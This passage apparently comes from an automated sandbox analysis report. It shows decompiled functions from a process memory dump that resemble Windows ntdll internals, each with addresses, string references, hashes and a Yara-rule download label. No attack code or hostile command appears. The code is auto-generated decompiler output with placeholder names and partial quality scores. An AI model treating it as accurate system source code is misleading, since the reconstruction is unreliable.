								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E057295D0();
										L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x0571f0d3
0x0571f0d9
0x0571f0e0
0x0571f0e7
0x0571f0f2
0x0571f0f4
0x0571f0f8
0x0571f100
0x0571f108
0x0571f10d
0x0571f115
0x0571f116
0x0571f11f
0x0571f123
0x0571f124
0x0571f12c
0x0571f130
0x0571f134
0x0571f13d
0x0571f144
0x0571f14b
0x0571f152
0x0575bab0
0x0575bab0
0x0571f158
0x0571f158
0x0571f15a
0x0571f160
0x0571f165
0x0571f166
0x0571f16f
0x0571f173
0x0575baa7
0x0575baa7
0x0575baab
0x00000000
0x0571f179
0x0571f18d
0x0571f191
0x0575baa2
0x00000000
0x0571f197
0x0571f19b
0x0571f1a2
0x0571f1a9
0x0571f1af
0x0571f1b2
0x0571f1b6
0x0571f1b9
0x0571f1c4
0x0571f1d8
0x0571f1df
0x0571f1e3
0x0571f1eb
0x0571f1ee
0x0571f1f4
0x0571f20f
0x0575bab7
0x0575babb
0x0575bacc
0x0575bad1
0x0571f215
0x0571f218
0x0571f226
0x0571f22b
0x00000000
0x0571f22b
0x0571f1f6
0x0571f1f6
0x0571f1f9
0x0571f1fb
0x0571f1fb
0x0571f1f4
0x0571f191
0x0571f173
0x0571f152
0x0571f203

Strings

@, xrefs: 0571F124

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 92dc0e05b689d5eeb80f2b197b819578fc87fb8802d2ef49fe376564aea9ba53
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 9E518E716047109FC321DF29C844A6BB7F9FF48710F00892DFAA697690E7B4E954DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05763540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E05763540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x57dd360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E05720BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E05763706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E0572FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E05763540;
						E0572FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E0573DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E05770C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E057297C0();
					}
					return E0572B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E05763971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E05763884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E0572FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E05729650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E05763787(_a4,  &_v352, _t80);
						}
					}
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E057295D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x05763552
0x0576355a
0x0576355d
0x05763566
0x05763567
0x0576357e
0x0576358f
0x057635a1
0x057635a5
0x0576366b
0x0576366b
0x0576366d
0x05763672
0x05763679
0x05763685
0x0576368d
0x0576369d
0x057636a7
0x057636b8
0x057636c6
0x057636c7
0x057636dc
0x057636e1
0x057636e7
0x057636e9
0x057636e9
0x05763703
0x05763703
0x057635b5
0x057635c0
0x057635c4
0x00000000
0x00000000
0x057635ca
0x057635d7
0x057635e2
0x057635e6
0x057635e8
0x057635f5
0x057635fa
0x05763603
0x05763604
0x05763609
0x0576360a
0x05763612
0x05763613
0x0576361e
0x05763622
0x05763628
0x0576362f
0x0576362f
0x05763636
0x05763638
0x0576363b
0x05763642
0x05763642
0x05763636
0x05763657
0x05763657
0x0576365c
0x05763662
0x05763669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 0576358F

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: f05e857b88104e834d11e312399ca9b56db325757a9fbc9ff99d4c0e4a89f6f9
Instruction ID: 93c943d79b274cd098e7c26935baa21d5cbcfb2ff9aa4927fe98ac1c82eb95fc
Opcode Fuzzy Hash: f05e857b88104e834d11e312399ca9b56db325757a9fbc9ff99d4c0e4a89f6f9
Instruction Fuzzy Hash: D54135B1D0052C9BDF21DE50CC89FEEB77CAB45714F0045A5EA09AB241DB309E88DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 057B05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E057B05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E057B07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E05729730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E057AA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E057AA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E057B1293(_t79, _v40, E057B07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E05707D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E057A138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x057b05c5
0x057b05ca
0x057b05d3
0x057b06db
0x057b06db
0x057b06dd
0x057b06e3
0x057b06e3
0x057b05dd
0x057b05e7
0x057b05f6
0x057b0600
0x057b0607
0x057b0610
0x057b0615
0x057b061a
0x057b061c
0x057b061e
0x057b0624
0x057b0625
0x057b0627
0x057b0628
0x057b0631
0x057b0640
0x057b064d
0x057b0654
0x057b0654
0x057b0631
0x057b066d
0x057b0674
0x00000000
0x00000000
0x057b0692
0x057b069e
0x057b06b0
0x057b06a0
0x057b06a9
0x057b06a9
0x057b06b8
0x057b06d6
0x057b06d6
0x00000000

Strings

`, xrefs: 057B0633

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: cd56193ba237cecbe75d10f3abd1b6786e77a910f2d8cd4b547f0b7841f4ccb3
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: 1331E032704305ABF720DE25CC8DF9B77D9BBC4758F044229FA599B280D6B0E914DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05763884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E05763884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E05729650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L05704620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E05729650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x05763893
0x05763896
0x05763899
0x0576389f
0x057638a0
0x057638a4
0x057638a9
0x057638ac
0x057638ad
0x057638ae
0x057638af
0x057638b1
0x057638b4
0x057638bb
0x057638bc
0x057638bd
0x057638c4
0x057638c8
0x057638ca
0x057638ca
0x057638d5
0x0576393e
0x05763940
0x05763942
0x05763952
0x05763954
0x05763961
0x05763961
0x05763967
0x0576396e
0x0576396e
0x05763947
0x0576394c
0x00000000
0x0576394c
0x057638ea
0x057638ee
0x057638f8
0x057638f9
0x057638ff
0x05763900
0x05763902
0x05763903
0x0576390b
0x0576390f
0x05763950
0x00000000
0x05763950
0x05763915
0x0576391d
0x0576391d
0x05763922
0x05763926
0x00000000
0x05763928
0x0576392b
0x0576392b
0x05763935
0x05763937
0x05763937
0x00000000
0x05763935
0x05763926
0x057638f0
0x00000000

Strings

BinaryName, xrefs: 057638B4

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: beae8b39d06fb15b32d42ced93dd8f9dfd91d9e516c97b85b2f72cbbe7807bef
Instruction ID: aaf4c0ac82fbad975a918227cd0dd2c67399a1d2cf947be1e95373dae5947b3b
Opcode Fuzzy Hash: beae8b39d06fb15b32d42ced93dd8f9dfd91d9e516c97b85b2f72cbbe7807bef
Instruction Fuzzy Hash: DE310332D0461ABFEB15DE58C949E7BB7B5FB80B24F018569ED15A7280D7309E00EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0571D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0571D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x57dd360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E05704120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E0572B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E057298D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E057295D0();
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x0571d29c
0x0571d2a6
0x0571d2b1
0x0571d2b5
0x0571d2b6
0x0571d2bc
0x0571d2bd
0x0571d2be
0x0571d2bf
0x0571d2c2
0x0571d2c4
0x0571d2cc
0x0571d384
0x0571d34b
0x0571d34f
0x0571d350
0x0571d351
0x0571d35c
0x0571d35c
0x0571d2d6
0x0571d2da
0x0571d2e1
0x0571d361
0x0571d369
0x0571d36d
0x0571d2e3
0x0571d2e3
0x0571d2e3
0x0571d2e5
0x0571d2ed
0x0571d2f5
0x0571d2fa
0x0571d302
0x0571d303
0x0571d30b
0x0571d30f
0x0571d313
0x0571d318
0x0571d31c
0x0571d320
0x0571d379
0x0571d37d
0x00000000
0x00000000
0x0575affe
0x0575b001
0x0575b011
0x00000000
0x0571d322
0x0571d322
0x0571d330
0x0571d337
0x0571d35d
0x0571d339
0x0571d33f
0x0571d38c
0x0571d38c
0x0571d33f
0x0571d349
0x00000000
0x0571d349

Strings

@, xrefs: 0571D303

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6f1a2ffa7d1a3ad2160a3397d7763dc90dd433899b1732cd42700d271e32f5d1
Instruction ID: c10a6cb283597edb0094c2b7124e35865b69b767cd6bebcb157fde35f87d3480
Opcode Fuzzy Hash: 6f1a2ffa7d1a3ad2160a3397d7763dc90dd433899b1732cd42700d271e32f5d1
Instruction Fuzzy Hash: BA318FB1608305DFC321DF28C98496BBBE9FB85754F000A2EF99583250D634DD04EF96

Uniqueness

Uniqueness Score: -1.00%

Function 056F1B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E056F1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E0572BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E0572A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E0572A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L05704620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x056f1b8f
0x056f1b9a
0x056f1b9c
0x056f1b9e
0x056f1ba3
0x05747010
0x05747010
0x00000000
0x056f1ba9
0x056f1ba9
0x056f1bae
0x00000000
0x056f1bc5
0x056f1bca
0x056f1bcf
0x056f1bd0
0x056f1bd1
0x056f1bd2
0x056f1bd6
0x056f1bdc
0x056f1be0
0x05746ffc
0x05747000
0x00000000
0x05747006
0x05747009
0x05747009
0x056f1be6
0x056f1bec
0x056f1c0b
0x056f1c0b
0x056f1c0c
0x056f1c11
0x056f1c12
0x056f1c15
0x056f1c1b
0x056f1c1f
0x056f1c31
0x056f1c33
0x05747026
0x05747026
0x056f1c21
0x056f1c24
0x056f1c24
0x056f1bee
0x056f1bee
0x056f1bf2
0x056f1c3a
0x056f1bf4
0x056f1bf4
0x056f1c05
0x056f1c05
0x056f1c09
0x056f1c3e
0x00000000
0x00000000
0x00000000
0x056f1c09
0x056f1bec
0x056f1be0
0x056f1bae
0x056f1c2e

Strings

WindowsExcludedProcs, xrefs: 056F1BC5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 775bff111899b40217dfe1d9db4416c7e026d8f5df24ded5208294b02d2653c7
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 37210A76A01228EBCB21DA55C844F6F77AEFF42A94F054425FE05CB210E735DC02EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0570F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0570F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x0570f71d
0x0570f722
0x0570f726
0x05754770
0x0570f765
0x0570f769
0x0570f769
0x0570f732
0x0575477a
0x00000000
0x0575477a
0x0570f738
0x0570f73a
0x0570f73c
0x0570f73f
0x0570f746
0x0570f778
0x0570f7a9
0x0570f7a9
0x0570f754
0x0570f75a
0x0570f75d
0x0570f75f
0x0570f761
0x0570f76f
0x0570f771
0x0570f771
0x0570f76f
0x0570f763
0x00000000
0x0570f763
0x0570f77d
0x0570f7a3
0x0570f7a5
0x00000000
0x0570f7a5
0x0570f77f
0x0570f782
0x0570f784
0x0570f786
0x00000000
0x00000000
0x00000000
0x0570f788
0x0570f748
0x0570f74d
0x0570f78d
0x0570f793
0x0570f7b7
0x0570f7bc
0x00000000
0x0570f7bc
0x0570f798
0x00000000
0x00000000
0x0570f79d
0x0570f7b0
0x00000000
0x0570f7b0
0x0570f79f
0x00000000
0x0570f74f
0x0570f74f
0x00000000
0x0570f74f

Strings

Actx , xrefs: 0570F73F

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: f97fb1f5d30e97e64d67e24be69f0a6b05c2d65bf6c031eccdbc2e8808ca2844
Instruction ID: fec33a7c04f2beba00e71cf9c485cd9821ce94e79fac82edb997da72a6dc3191
Opcode Fuzzy Hash: f97fb1f5d30e97e64d67e24be69f0a6b05c2d65bf6c031eccdbc2e8808ca2844
Instruction Fuzzy Hash: 55119035308602CFEB34CE1D889073672D7BB95724FA4752AE862CB3D1DBB0D841A342

Uniqueness

Uniqueness Score: -1.00%

Function 05798DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E05798DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x57c0d50);
				E0573D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E05775720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L0573DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L0573DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E0573D130(_t34, _t39, _t40);
			}

0x05798df1
0x05798df1
0x05798df1
0x05798df1
0x05798df1
0x05798df1
0x05798df3
0x05798df8
0x05798dfd
0x05798e00
0x05798e0e
0x05798e2a
0x05798e36
0x05798e38
0x05798e3c
0x05798e46
0x05798e46
0x05798e36
0x05798e50
0x05798e56
0x05798e59
0x05798e5c
0x05798e60
0x05798e67
0x05798e6d
0x05798e73
0x05798e74
0x05798eb1
0x05798ebd

Strings

Critical error detected %lx, xrefs: 05798E21

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: c67e3a67141cb4abda353867f1c2348032b5208cdd03fb9f317c4e9a70a85fe0
Instruction ID: 4ad6932246638bb527bd0fb8fa19f75bb78f3f00e62c11c61986a74c5aae86f4
Opcode Fuzzy Hash: c67e3a67141cb4abda353867f1c2348032b5208cdd03fb9f317c4e9a70a85fe0
Instruction Fuzzy Hash: D11179B5D55348DBDF28CFB8950A7DCBBB1BB05311F24425DD029AB282C3340601EF25

Uniqueness

Uniqueness Score: -1.00%

Function 0577FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0577FF60

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: b9893bd50cee4ad0fdcb35882d2b1d6f9d4f37907969ea07c740f214bb0b50c0
Instruction ID: 4e04ff2dd0279d9872c5bc688d029cbfab0b3811b015597aa0016af08ffb255a
Opcode Fuzzy Hash: b9893bd50cee4ad0fdcb35882d2b1d6f9d4f37907969ea07c740f214bb0b50c0
Instruction Fuzzy Hash: 251104B1A20588EFDF22EB50C94DF98BBB2FF09725F148054F4096B161CB399940FB60

Uniqueness

Uniqueness Score: -1.00%

Function 057B5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E057B5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x57c1178);
				E0573D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
